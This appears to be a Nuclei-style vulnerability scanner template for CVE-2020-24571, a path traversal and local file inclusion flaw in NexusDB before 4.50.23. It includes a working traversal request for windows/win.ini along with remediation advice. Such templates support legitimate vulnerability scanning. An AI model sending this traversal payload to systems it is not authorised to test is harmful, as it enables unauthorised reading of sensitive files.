id: CVE-2020-24571

info:
  name: NexusDB <4.50.23 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal and local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade NexusDB to version 4.50.23 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24571
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-24571
    cwe-id: CWE-22
    epss-score: 0.91237
    epss-percentile: 0.99637
    cpe: cpe:2.3:a:nexusdb:nexusdb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nexusdb
    product: nexusdb
  tags: cve,cve2020,nexusdb,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/../../../../../../../../windows/win.ini'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[extensions]"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dc3d643f11059952610c5af960e22d7c5e38975b137580561284a3ad090b863a02210080055a6834330ed83a327c70931f4fed4befecb5ae37b5256b69e08e5735d460:922c64590222798bb761d5b6d8e72950